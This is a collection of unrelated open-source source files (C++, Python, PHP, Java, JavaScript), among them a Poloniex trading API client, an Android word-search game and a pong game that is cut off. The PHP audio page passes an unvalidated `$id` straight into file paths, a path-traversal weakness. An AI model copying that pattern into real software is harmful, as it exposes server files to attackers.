{ return QString::null; } void SeparatorParameter::setValue(const QString &) { } void SeparatorParameter::reset() { } void SeparatorParameter::initFromText(const char * text, int & textLength) { QStringList list = parseText("separator",text,textLength); unused(list); }
boudewijnrempt/gmic-qt
src/SeparatorParameter.cpp
C++
gpl-3.0
2,143
import urllib import urllib2 import json import time import hmac,hashlib def createTimeStamp(datestr, format="%Y-%m-%d %H:%M:%S"): return time.mktime(time.strptime(datestr, format)) class poloniex: def __init__(self, APIKey, Secret): self.APIKey = APIKey self.Secret = Secret def post_process(self, before): after = before # Add timestamps if there isnt one but is a datetime if('return' in after): if(isinstance(after['return'], list)): for x in xrange(0, len(after['return'])): if(isinstance(after['return'][x], dict)): if('datetime' in after['return'][x] and 'timestamp' not in after['return'][x]): after['return'][x]['timestamp'] = float(createTimeStamp(after['return'][x]['datetime'])) return after def api_query(self, command, req={}): if(command == "returnTicker" or command == "return24Volume"): ret = urllib2.urlopen(urllib2.Request('https://poloniex.com/public?command=' + command)) return json.loads(ret.read()) elif(command == "returnChartData"): ret = urllib2.urlopen(urllib2.Request('https://poloniex.com/public?command=' + command + '&currencyPair=' + str(req['currencyPair'] + '&start=' + str((int(time.time()) - req['chartDataAge'])) + '&period=' + str(300)))) return json.loads(ret.read()) elif(command == "returnOrderBook"): ret = urllib2.urlopen(urllib2.Request('https://poloniex.com/public?command=' + command + '&currencyPair=' + str(req['currencyPair']))) return json.loads(ret.read()) elif(command == "returnMarketTradeHistory"): ret = urllib2.urlopen(urllib2.Request('https://poloniex.com/public?command=' + "returnTradeHistory" + '&currencyPair=' + str(req['currencyPair']))) return json.loads(ret.read()) else: req['command'] = command req['nonce'] = int(time.time()*1000) post_data = urllib.urlencode(req) sign = hmac.new(self.Secret, post_data, hashlib.sha512).hexdigest() headers = { 'Sign': sign, 'Key': self.APIKey } ret = urllib2.urlopen(urllib2.Request('https://poloniex.com/tradingApi', post_data, headers)) jsonRet = json.loads(ret.read()) return self.post_process(jsonRet) def returnTicker(self): return self.api_query("returnTicker") def returnChartData(self, currencyPair, chartDataAge = 300): return self.api_query("returnChartData", {'currencyPair': currencyPair, 'chartDataAge' : chartDataAge}) def return24Volume(self): return self.api_query("return24Volume") def returnOrderBook (self, currencyPair): return self.api_query("returnOrderBook", {'currencyPair': currencyPair}) def returnMarketTradeHistory (self, currencyPair): return self.api_query("returnMarketTradeHistory", {'currencyPair': currencyPair}) # Returns all of your balances. # Outputs: # {"BTC":"0.59098578","LTC":"3.31117268", ... } def returnBalances(self): return self.api_query('returnBalances') # Returns your open orders for a given market, specified by the "currencyPair" POST parameter, e.g. "BTC_XCP" # Inputs: # currencyPair The currency pair e.g. "BTC_XCP" # Outputs: # orderNumber The order number # type sell or buy # rate Price the order is selling or buying at # Amount Quantity of order # total Total value of order (price * quantity) def returnOpenOrders(self,currencyPair): return self.api_query('returnOpenOrders',{"currencyPair":currencyPair}) # Returns your trade history for a given market, specified by the "currencyPair" POST parameter # Inputs: # currencyPair The currency pair e.g. "BTC_XCP" # Outputs: # date Date in the form: "2014-02-19 03:44:59" # rate Price the order is selling or buying at # amount Quantity of order # total Total value of order (price * quantity) # type sell or buy def returnTradeHistory(self,currencyPair): return self.api_query('returnTradeHistory',{"currencyPair":currencyPair}) # Places a buy order in a given market. Required POST parameters are "currencyPair", "rate", and "amount". If successful, the method will return the order number. # Inputs: # currencyPair The curreny pair # rate price the order is buying at # amount Amount of coins to buy # Outputs: # orderNumber The order number def buy(self,currencyPair,rate,amount): return self.api_query('buy',{"currencyPair":currencyPair,"rate":rate,"amount":amount}) # Places a sell order in a given market. Required POST parameters are "currencyPair", "rate", and "amount". If successful, the method will return the order number. # Inputs: # currencyPair The curreny pair # rate price the order is selling at # amount Amount of coins to sell # Outputs: # orderNumber The order number def sell(self,currencyPair,rate,amount): return self.api_query('sell',{"currencyPair":currencyPair,"rate":rate,"amount":amount}) # Cancels an order you have placed in a given market. Required POST parameters are "currencyPair" and "orderNumber". # Inputs: # currencyPair The curreny pair # orderNumber The order number to cancel # Outputs: # succes 1 or 0 def cancel(self,currencyPair,orderNumber): return self.api_query('cancelOrder',{"currencyPair":currencyPair,"orderNumber":orderNumber}) # Immediately places a withdrawal for a given currency, with no email confirmation. In order to use this method, the withdrawal privilege must be enabled for your API key. Required POST parameters are "currency", "amount", and "address". Sample output: {"response":"Withdrew 2398 NXT."} # Inputs: # currency The currency to withdraw # amount The amount of this coin to withdraw # address The withdrawal address # Outputs: # response Text containing message about the withdrawal def withdraw(self, currency, amount, address): return self.api_query('withdraw',{"currency":currency, "amount":amount, "address":address})
Vadus/eldo
src/poloniex/poloniex.py
Python
gpl-3.0
6,502
<?php if(isset($_GET['id'])) { // Allocate a new XSLT processor $xh = xslt_create(); // Process the document if (xslt_process($xh, "xml/audio/$id", "xsl/audio/audio.xsl", "gen/audio/$id.xml")) { readfile("gen/audio/$id.xml"); } else { echo "Error : " . xslt_error($xh) . " and the "; echo "error code is " . xslt_errno($xh); } xslt_free($xh); } ?>
astorije/projet-nf29-a10
export_html/p_audio.php
PHP
gpl-3.0
395
package com.androidGames.lettersoup; import java.io.IOException; import java.io.InputStream; import org.json.JSONException; import org.json.JSONObject; import android.os.Build; import android.os.Bundle; import android.annotation.SuppressLint; import android.app.Activity; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Paint.Style; import android.graphics.drawable.ColorDrawable; import android.util.Log; import android.view.Menu; import android.view.View; import android.view.MenuItem; import android.view.MotionEvent; import android.view.View.OnTouchListener; import android.widget.FrameLayout; import android.widget.GridView; import android.widget.TextView; import android.widget.Toast; import android.support.v4.app.NavUtils; public class PlayGameActivity extends Activity { private char[][] boardGame; PlayGameView playgameview; private String puzzle = ""; FrameLayout layout; Paint paint; private float width; private float height; private float x; private float y; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_play_game); //Get the JSON object from the data JSONObject parent = this.parseJSONData(); paint = new Paint(); paint.setAlpha(255); paint.setColor(Color.BLUE); paint.setStyle(Style.STROKE); paint.setStrokeWidth(5); /*//THis will store all the values inside "Hydrogen" in a element string try { String element = parent.getString("Nivel1"); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); }*/ //THis will store "1" inside atomicNumber try { puzzle = parent.getJSONObject("Nivel1").getString("Puzzle"); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } Log.d("onCreate", "oncreate"); Log.w("onCreate", "oncreate"); this.boardGame = board(4,5); this.boardGame = fillBoardGame(puzzle,this.boardGame); Log.d("onCreate", ""+this.boardGame ); final GridView gridView = (GridView) findViewById(R.id.playgamegrid); gridView.setNumColumns(4); gridView.setAdapter(new PlayGameViewAdapter(this,this.getBoard())); gridView.setOnTouchListener(new OnTouchListener() { String text=""; int pos = 0; @SuppressWarnings("unused") protected void onDraw(Canvas canvas) { canvas.drawLine(x, y, width, height, paint); } @Override public boolean onTouch(View v, MotionEvent event) { // TODO Auto-generated method stub float currentXPosition = event.getX(); float currentYPosition = event.getY(); int position = gridView.pointToPosition((int) currentXPosition, (int) currentYPosition); TextView tv = (TextView) gridView.getChildAt(position); width = tv.getWidth(); height = tv.getHeight(); switch(event.getAction()) { case MotionEvent.ACTION_DOWN: pos = position; text += tv.getText(); //tv.setBackgroundColor(Color.RED); return true; case MotionEvent.ACTION_MOVE: if(pos != position) { x=event.getX(); y=event.getY(); pos = position; text += tv.getText(); } gridView.invalidateViews(); //adapter.notifyDataChanged(); //grid.setAdapter(adapter); return true; case MotionEvent.ACTION_UP: getWordBoard(text); return true; } return false; } }); /*PlayGameView playgameview = new PlayGameView(this); setContentView(playgameview); playgameview.requestFocus();*/ //RelativeLayout game = (RelativeLayout)findViewById(R.id.layoutgame); //game.addView(playgameview); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) { // Show the Up button in the action bar. setupActionBar(); } } /** * Set up the {@link android.app.ActionBar}. */ private void setupActionBar() { getActionBar().setDisplayHomeAsUpEnabled(true); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.play_game, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case android.R.id.home: // This ID represents the Home or Up button. In the case of this // activity, the Up button is shown. Use NavUtils to allow users // to navigate up one level in the application structure. For // more details, see the Navigation pattern on Android Design: // // http://developer.android.com/design/patterns/navigation.html#up-vs-back // NavUtils.navigateUpFromSameTask(this); return true; } return super.onOptionsItemSelected(item); } public char[][] board(int x, int y) { final char board[][] = new char [x][y]; return board; } public char[][] fillBoardGame(String string,char[][] board) { int indexString=0; int nCols = this.getColsBoard(); int nRows = this.getRowsBoard(); for (int i = 0; i < nRows; i++) { for(int k = 0; k<nCols;k++) { this.boardGame[i][k] = string.charAt(indexString); indexString++; } Log.d("fillBoard", ""+this.boardGame[i][0]); } return this.boardGame; } public String getcharBoard(int x, int y){ StringBuilder charBoard = new StringBuilder(); Log.d("getcharBoard", ""+this.boardGame[x][y]); charBoard.append(this.boardGame[x][y]); return charBoard.toString(); } public int getColsBoard() { Log.d("numCols",""+this.boardGame[0].length); return this.boardGame[0].length; } public int getRowsBoard(){ Log.d("numRows",""+this.boardGame.length); return this.boardGame.length; } public String[] getBoard() { final String[] texts = new String[puzzle.length()]; for(int i=0;i<puzzle.length();i++) { texts[i]=""+puzzle.charAt(i); } return texts; } public JSONObject parseJSONData() { String JSONString = null; JSONObject JSONObject = null; try { //open the inputStream to the file InputStream inputStream = getAssets().open("PuzzleStore.json"); int sizeOfJSONFile = inputStream.available(); //array that will store all the data byte[] bytes = new byte[sizeOfJSONFile]; //reading data into the array from the file inputStream.read(bytes); //close the input stream inputStream.close(); JSONString = new String(bytes, "UTF-8"); JSONObject = new JSONObject(JSONString); } catch (IOException ex) { ex.printStackTrace(); return null; } catch (JSONException x) { x.printStackTrace(); return null; } return JSONObject; } public void getWordBoard(String caracter) { String word = caracter; Log.d("Word",word); } }
papoon/sopa_letras
LetterSoup/src/com/androidGames/lettersoup/PlayGameActivity.java
Java
gpl-3.0
7,386
/*! * Ext JS Library * Copyright(c) 2006-2014 Sencha Inc. * licensing@sencha.com * http://www.sencha.com/license */ Ext.define('Ext.org.micoli.app.modules.GridWindow', { extend: 'Ext.ux.desktop.Module', requires: [ 'Ext.data.ArrayStore', 'Ext.util.Format', 'Ext.grid.Panel', 'Ext.grid.RowNumberer' ], id:'grid-win', init : function(){ this.launcher = { text: 'Grid Window', iconCls:'icon-grid' }; }, createWindow : function(){ var desktop = this.app.getDesktop(); var win = desktop.getWindow('grid-win'); if(!win){ win = desktop.createWindow({ id: 'grid-win', title:'Grid Window', width:740, height:480, iconCls: 'icon-grid', animCollapse:false, constrainHeader:true, layout: 'fit', items: [ { border: false, xtype: 'grid', store: new Ext.data.ArrayStore({ fields: [ { name: 'company' }, { name: 'price', type: 'float' }, { name: 'change', type: 'float' }, { name: 'pctChange', type: 'float' } ], data: Ext.org.micoli.app.modules.GridWindow.getDummyData() }), columns: [ new Ext.grid.RowNumberer(), { text: "Company", flex: 1, sortable: true, dataIndex: 'company' }, { text: "Price", width: 70, sortable: true, renderer: Ext.util.Format.usMoney, dataIndex: 'price' }, { text: "Change", width: 70, sortable: true, dataIndex: 'change' }, { text: "% Change", width: 70, sortable: true, dataIndex: 'pctChange' } ] } ], tbar:[{ text:'Add Something', tooltip:'Add a new row', iconCls:'add' }, '-', { text:'Options', tooltip:'Modify options', iconCls:'option' },'-',{ text:'Remove Something', tooltip:'Remove the selected item', iconCls:'remove' }] }); } return win; }, statics: { getDummyData: function () { return [ ['3m Co',71.72,0.02,0.03], ['Alcoa Inc',29.01,0.42,1.47], ['American Express Company',52.55,0.01,0.02], ['American International Group, Inc.',64.13,0.31,0.49], ['AT&T Inc.',31.61,-0.48,-1.54], ['Caterpillar Inc.',67.27,0.92,1.39], ['Citigroup, Inc.',49.37,0.02,0.04], ['Exxon Mobil Corp',68.1,-0.43,-0.64], ['General Electric Company',34.14,-0.08,-0.23], ['General Motors Corporation',30.27,1.09,3.74], ['Hewlett-Packard Co.',36.53,-0.03,-0.08], ['Honeywell Intl Inc',38.77,0.05,0.13], ['Intel Corporation',19.88,0.31,1.58], ['Johnson & Johnson',64.72,0.06,0.09], ['Merck & Co., Inc.',40.96,0.41,1.01], ['Microsoft Corporation',25.84,0.14,0.54], ['The Coca-Cola Company',45.07,0.26,0.58], ['The Procter & Gamble Company',61.91,0.01,0.02], ['Wal-Mart Stores, Inc.',45.45,0.73,1.63], ['Walt Disney Company (The) (Holding Company)',29.89,0.24,0.81] ]; } } });
micoli/reQuester
desk6/app/org/micoli/app/modules/samples/GridWindow.js
JavaScript
gpl-3.0
3,137
// Boost Includes ============================================================== #include <boost/python.hpp> #include <boost/cstdint.hpp> // Includes ==================================================================== #include <spuc/raised_cosine_imp.h> // Using ======================================================================= using namespace boost::python; // Module ====================================================================== BOOST_PYTHON_MODULE(raised_cosine_imp) { def("raised_cosine_imp", &SPUC::raised_cosine_imp); }
sav6622/spuc
pyste/raised_cosine_imp.cpp
C++
gpl-3.0
552
/* === This file is part of Tomahawk Player - <http://tomahawk-player.org> === * * Copyright 2010-2011, Leo Franchi <lfranchi@kde.org> * * Tomahawk is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Tomahawk is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Tomahawk. If not, see <http://www.gnu.org/licenses/>. */ #include "TransferStatusItem.h" #include "network/StreamConnection.h" #include "network/Servent.h" #include "utils/TomahawkUtils.h" #include "utils/TomahawkUtilsGui.h" #include "Artist.h" #include "JobStatusModel.h" #include "JobStatusView.h" #include "Result.h" #include "Source.h" #include "Track.h" TransferStatusItem::TransferStatusItem( TransferStatusManager* p, StreamConnection* sc ) : m_parent( p ) , m_stream( QPointer< StreamConnection >( sc ) ) { if ( m_stream.data()->type() == StreamConnection::RECEIVING ) m_type = "receive"; else m_type = "send"; connect( m_stream.data(), SIGNAL( updated() ), SLOT( onTransferUpdate() ) ); connect( Servent::instance(), SIGNAL( streamFinished( StreamConnection* ) ), SLOT( streamFinished( StreamConnection* ) ) ); } TransferStatusItem::~TransferStatusItem() { } QString TransferStatusItem::mainText() const { if ( m_stream.isNull() ) return QString(); if ( m_stream.data()->source().isNull() && !m_stream.data()->track().isNull() ) return QString( "%1" ).arg( QString( "%1 - %2" ).arg( m_stream.data()->track()->track()->artist() ).arg( m_stream.data()->track()->track()->track() ) ); else if ( !m_stream.data()->source().isNull() && !m_stream.data()->track().isNull() ) return QString( "%1 %2 %3" ).arg( QString( "%1 - %2" ).arg( m_stream.data()->track()->track()->artist() ).arg( m_stream.data()->track()->track()->track() ) ) .arg( m_stream.data()->type() == StreamConnection::RECEIVING ? tr( "from", "streaming artist - track from friend" ) : tr( "to", "streaming artist - track to friend" ) ) .arg( m_stream.data()->source()->friendlyName() ); else return QString(); } QString TransferStatusItem::rightColumnText() const { if ( m_stream.isNull() ) return QString(); return QString( "%1 kB/s" ).arg( m_stream.data()->transferRate() / 1000 ); } void TransferStatusItem::streamFinished( StreamConnection* sc ) { if ( m_stream.data() == sc ) emit finished(); } QPixmap TransferStatusItem::icon() const { if ( m_stream.isNull() ) return QPixmap(); if ( m_stream.data()->type() == StreamConnection::SENDING ) return m_parent->txPixmap(); else return m_parent->rxPixmap(); } void TransferStatusItem::onTransferUpdate() { emit statusChanged(); } TransferStatusManager::TransferStatusManager( QObject* parent ) : QObject( parent ) { connect( Servent::instance(), SIGNAL( streamStarted( StreamConnection* ) ), SLOT( streamRegistered( StreamConnection* ) ) ); } void TransferStatusManager::streamRegistered( StreamConnection* sc ) { JobStatusView::instance()->model()->addJob( new TransferStatusItem( this, sc ) ); } QPixmap TransferStatusManager::rxPixmap() const { return TomahawkUtils::defaultPixmap( TomahawkUtils::Downloading, TomahawkUtils::Original, QSize( 128, 128 ) ); } QPixmap TransferStatusManager::txPixmap() const { return TomahawkUtils::defaultPixmap( TomahawkUtils::Uploading, TomahawkUtils::Original, QSize( 128, 128 ) ); }
tomahawk-player/tomahawk
src/libtomahawk/jobview/TransferStatusItem.cpp
C++
gpl-3.0
3,947
/*************************************************************************** * Copyright (C) 2006 by Esteban Zeller & Daniel Sequeira * * juiraze@yahoo.com.ar - daniels@hotmail.com * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * ***************************************************************************/ #include "resumenanual.h" #include "visorresumenes.h" #include <QTextCursor> #include <QLocale> #include <QDate> #include <QSqlQuery> #include <QSqlRecord> #include <QSqlError> #include <QTextTable> #include <QFile> resumenAnual::resumenAnual(QObject *parent) : QObject(parent) { } resumenAnual::~resumenAnual() { }
tranfuga25s/gestotux
plugins/digifauno/resumenanual.cpp
C++
gpl-3.0
1,754
/* * ice4j, the OpenSource Java Solution for NAT and Firewall Traversal. * Maintained by the SIP Communicator community (http://sip-communicator.org). * * Distributable under LGPL license. * See terms of license at gnu.org. */ package org.ice4j.socket; import java.net.*; import org.ice4j.*; import org.ice4j.message.*; /** * Implements a <tt>DatagramPacketFilter</tt> which accepts * <tt>DatagramPacket</tt>s which represent TURN messages defined in * RFC 5766 "Traversal Using Relays around NAT (TURN): Relay Extensions to * Session Traversal Utilities for NAT (STUN)" and which are part of the * communication with a specific TURN server. <tt>TurnDatagramPacketFilter</tt> * does not accept TURN ChannelData messages because they require knowledge of * the value of the "Channel Number" field. * * @author Lubomir Marinov */ public class TurnDatagramPacketFilter extends StunDatagramPacketFilter { /** * Initializes a new <tt>TurnDatagramPacketFilter</tt> which will accept * <tt>DatagramPacket</tt>s which represent TURN messages and which are part * of the communication with a specific TURN server. * * @param turnServer the <tt>TransportAddress</tt> of the TURN server * <tt>DatagramPacket</tt>s representing TURN messages from and to which * will be accepted by the new instance */ public TurnDatagramPacketFilter(TransportAddress turnServer) { super(turnServer); } /** * Determines whether a specific <tt>DatagramPacket</tt> represents a TURN * message which is part of the communication with the TURN server * associated with this instance. * * @param p the <tt>DatagramPacket</tt> to be checked whether it represents * a TURN message which is part of the communicator with the TURN server * associated with this instance * @return <tt>true</tt> if the specified <tt>DatagramPacket</tt> represents * a TURN message which is part of the communication with the TURN server * associated with this instance; otherwise, <tt>false</tt> */ @Override public boolean accept(DatagramPacket p) { if (super.accept(p)) { /* * The specified DatagramPacket represents a STUN message with a * TURN method. */ return true; } else { /* * The specified DatagramPacket does not come from or is not being * sent to the TURN server associated with this instance or is a * ChannelData message which is not supported by * TurnDatagramPacketFilter. */ return false; } } /** * Determines whether this <tt>DatagramPacketFilter</tt> accepts a * <tt>DatagramPacket</tt> which represents a STUN message with a specific * STUN method. <tt>TurnDatagramPacketFilter</tt> accepts TURN methods. * * @param method the STUN method of a STUN message represented by a * <tt>DatagramPacket</tt> to be checked whether it is accepted by this * <tt>DatagramPacketFilter</tt> * @return <tt>true</tt> if this <tt>DatagramPacketFilter</tt> accepts the * <tt>DatagramPacket</tt> which represents a STUN message with the * specified STUN method; otherwise, <tt>false</tt> * @see StunDatagramPacketFilter#acceptMethod(char) */ @Override protected boolean acceptMethod(char method) { if (super.acceptMethod(method)) return true; else { switch (method) { case Message.TURN_METHOD_ALLOCATE: case Message.TURN_METHOD_CHANNELBIND: case Message.TURN_METHOD_CREATEPERMISSION: case Message.TURN_METHOD_DATA: case Message.TURN_METHOD_REFRESH: case Message.TURN_METHOD_SEND: case 0x0005: /* old TURN DATA indication */ return true; default: return false; } } } }
ziah/Friends-Module
ice4j-lib/org/ice4j/socket/TurnDatagramPacketFilter.java
Java
gpl-3.0
4,068
/* * This file is part of JGrasstools (http://www.jgrasstools.org) * (C) HydroloGIS - www.hydrologis.com * * JGrasstools is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.jgrasstools.gui.spatialtoolbox.core; /** * A modules wrapper. * * @author Andrea Antonello (www.hydrologis.com) */ public class ViewerModule { private final ModuleDescription moduleDescription; private ViewerFolder parentFolder; public ViewerModule( ModuleDescription moduleDescription ) { this.moduleDescription = moduleDescription; } @Override public String toString() { String name = moduleDescription.getName(); if (name.startsWith("Oms")) { name = name.substring(3); } return name; } public ModuleDescription getModuleDescription() { return moduleDescription; } public void setParentFolder( ViewerFolder parentFolder ) { this.parentFolder = parentFolder; } public ViewerFolder getParentFolder() { return parentFolder; } }
silviafranceschi/jgrasstools
gui/src/main/java/org/jgrasstools/gui/spatialtoolbox/core/ViewerModule.java
Java
gpl-3.0
1,640
/* * Copyright (C) 2019 yi * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package jeplus.event; import jeplus.JEPlusProjectV2; /** * * @author yi */ public interface IF_ProjectChangedHandler { public abstract void projectChanged (JEPlusProjectV2 new_prj); public abstract void projectSaved (String filename); }
jeplus/jEPlus
src/main/java/jeplus/event/IF_ProjectChangedHandler.java
Java
gpl-3.0
959
/* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * Format.java * Copyright (C) 2016 FracPete */ package com.github.fracpete.gpsformats4j.formats; import org.apache.commons.csv.CSVRecord; import java.io.File; import java.util.List; /** * Interface for formats. * * @author FracPete (fracpete at gmail dot com) */ public interface Format { /** the key for the track. */ public final static String KEY_TRACK = "Track"; /** the key for the time. */ public final static String KEY_TIME = "Time"; /** the key for the longitude. */ public final static String KEY_LON = "Longitude"; /** the key for the latitiude. */ public final static String KEY_LAT = "Latitude"; /** the key for the elevation. */ public final static String KEY_ELEVATION = "Elevation"; /** * Returns whether reading is supported. * * @return true if supported */ public boolean canRead(); /** * Reads the file. * * @param input the input file * @return the collected data, null in case of an error */ public List<CSVRecord> read(File input); /** * Returns whether writing is supported. * * @return true if supported */ public boolean canWrite(); /** * Writes to a file. * * @param data the data to write * @param output the output file * @return null if successful, otherwise error message */ public String write(List<CSVRecord> data, File output); }
fracpete/gpsformats4j
src/main/java/com/github/fracpete/gpsformats4j/formats/Format.java
Java
gpl-3.0
2,058
package sokobanMod.common; import java.util.List; import net.minecraft.block.Block; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IIconRegister; import net.minecraft.creativetab.CreativeTabs; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.util.IIcon; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; /** * Sokoban Mod * @author MineMaarten * www.minemaarten.com * @license Lesser GNU Public License v3 (http://www.gnu.org/licenses/lgpl.html) */ public class BlockUnbreakableGlasses extends Block{ @SideOnly(Side.CLIENT) private IIcon[] texture; public BlockUnbreakableGlasses(Material par3Material){ super(par3Material); } @Override @SideOnly(Side.CLIENT) public void registerBlockIcons(IIconRegister par1IconRegister){ texture = new IIcon[1]; for(int i = 0; i < 1; i++) texture[i] = par1IconRegister.registerIcon("sokobanMod:BlockConcreteGlass" + i); } @Override @SideOnly(Side.CLIENT) public void getSubBlocks(Item par1, CreativeTabs par2CreativeTabs, List par3List){ for(int var4 = 0; var4 < 1; ++var4) { par3List.add(new ItemStack(SokobanMod.BlockUnbreakableGlasses, 1, var4)); } } @Override @SideOnly(Side.CLIENT) public IIcon getIcon(int side, int meta){ return texture[meta]; } /** * Is this block (a) opaque and (b) a full 1m cube? This determines whether * or not to render the shared face of two adjacent blocks and also whether * the player can attach torches, redstone wire, etc to this block. */ @Override public boolean isOpaqueCube(){ return false;// isOpaque; } /** * If this block doesn't render as an ordinary block it will return False * (examples: signs, buttons, stairs, etc) */ @Override public boolean renderAsNormalBlock(){ return false; } @Override public int damageDropped(int meta){ return meta; } }
MineMaarten/Sokoban-Mod
src/sokobanMod/common/BlockUnbreakableGlasses.java
Java
gpl-3.0
2,099
/* Copyright 2008,2009,2010 Edwin Eefting (edwin@datux.nl) This file is part of Synapse. Synapse is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Synapse is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Synapse. If not, see <http://www.gnu.org/licenses/>. */ /** \file A pong game proof of concept. Used in combination with pong.html or any other frontend someone might come up with ;) */ #include "synapse.h" #include <time.h> #include <set> #include <boost/date_time/posix_time/posix_time.hpp> namespace pong { using namespace std; using namespace boost; using namespace boost::posix_time; bool shutdown; SYNAPSE_REGISTER(module_Init) { Cmsg out; shutdown=false; // one game loop thread, one incoming event handle thread out.clear(); out.event="core_ChangeModule"; out["maxThreads"]=2; out.send(); out.clear(); out.event="core_ChangeSession"; out["maxThreads"]=2; out.send(); //client send-only events: out.clear(); out.event="core_ChangeEvent"; out["modifyGroup"]= "modules"; out["sendGroup"]= "anonymous"; out["recvGroup"]= "modules"; out["event"]= "pong_NewGame"; out.send(); out["event"]= "pong_GetGames"; out.send(); out["event"]= "pong_JoinGame"; out.send(); out["event"]= "pong_StartGame"; out.send(); out["event"]= "pong_SetPosition"; out.send(); //client receive-only events: out.clear(); out.event="core_ChangeEvent"; out["modifyGroup"]= "modules"; out["sendGroup"]= "modules"; out["recvGroup"]= "anonymous"; out["event"]= "pong_GameStatus"; out.send(); out["event"]= "pong_GameDeleted"; out.send(); out["event"]= "pong_GameJoined"; out.send(); out["event"]= "pong_Positions"; out.send(); //start game engine out.clear(); out.event="pong_Engine"; out.send(); //tell the rest of the world we are ready for duty //(the core will send a timer_Ready) out.clear(); out.event="core_Ready"; out.send(); } //position of an object with motion prediction info class Cposition { private: int x; int y; int xSpeed; //pixels per second int ySpeed; ptime startTime; bool changed; public: bool isChanged() { return (changed); } Cposition() { set(0,0,0,0); } void set(int x, int y, int xSpeed, int ySpeed) { this->x=x; this->y=y; this->xSpeed=xSpeed; this->ySpeed=ySpeed; changed=true; startTime=microsec_clock::local_time(); } //get the position, according to calculations of speed and time. void get(int & currentX, int & currentY, int & currentXspeed, int & currentYspeed) { time_duration td=(microsec_clock::local_time()-startTime); currentX=x+((xSpeed*td.total_nanoseconds())/1000000000); currentY=y+((ySpeed*td.total_nanoseconds())/1000000000); currentXspeed=xSpeed; currentYspeed=ySpeed; changed=false; } }; class Cplayer { private: int x; int y; long double duration; //duration in S it takes to move to x,y bool moved; public: string name; Cplayer() { x=0; y=0; moved=true; } void setPosition(int x, int y, long double duration) { this->x=x; this->y=y; this->duration=duration; moved=true; } bool hasMoved() { return(moved); } void getPosition(int & x, int & y, long double & duration) { x=this->x; y=this->y; duration=this->duration; moved=false; } }; typedef map<int,Cplayer> CplayerMap; CplayerMap playerMap; class Cpong { int id; string name; Cposition ballPosition; //map settings int width; int height; typedef set<int> CplayerIds; CplayerIds playerIds; enum eStatus { NEW, RUNNING, ENDED }; eStatus status; public: Cpong() { status=NEW; width=10000; height=10000; ballPosition.set(0,0,1000,2000); } void init(int id, string name) { this->id=id; this->name=name; sendStatus(); } //broadcasts a gamestatus, so that everyone knows the game exists. void sendStatus(int dst=0) { Cmsg out; out.event="pong_GameStatus"; out["id"]=id; out["name"]=name; out["status"]=status; for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { out["players"].list().push_back(playerMap[*I].name); } out.dst=dst; out.send(); } void addPlayer(int playerId, string name) { if (playerIds.find(playerId)== playerIds.end()) { if (name=="") { throw(runtime_error("Please enter a name before joining the game.")); } playerMap[playerId].name=name; playerIds.insert(playerId); sendStatus(); Cmsg out; out.event="pong_GameJoined"; out["id"]=id; out.dst=playerId; out.send(); } else { throw(runtime_error("You're already in this game?")); } } void delPlayer(int playerId) { if (playerIds.find(playerId)!= playerIds.end()) { playerIds.erase(playerId); sendStatus(); //when the last person leaves, self destruct! if (playerIds.empty()) { Cmsg out; out.event="pong_DelGame"; out["id"]=id; out.send(); } } } void start() { status=RUNNING; sendStatus(); } //runs the simulation one step, call this periodically void runStep() { { //do calculations: int ballX,ballY,ballXspeed, ballYspeed; bool bounced=false; ballPosition.get(ballX,ballY, ballXspeed, ballYspeed); //bounce the ball 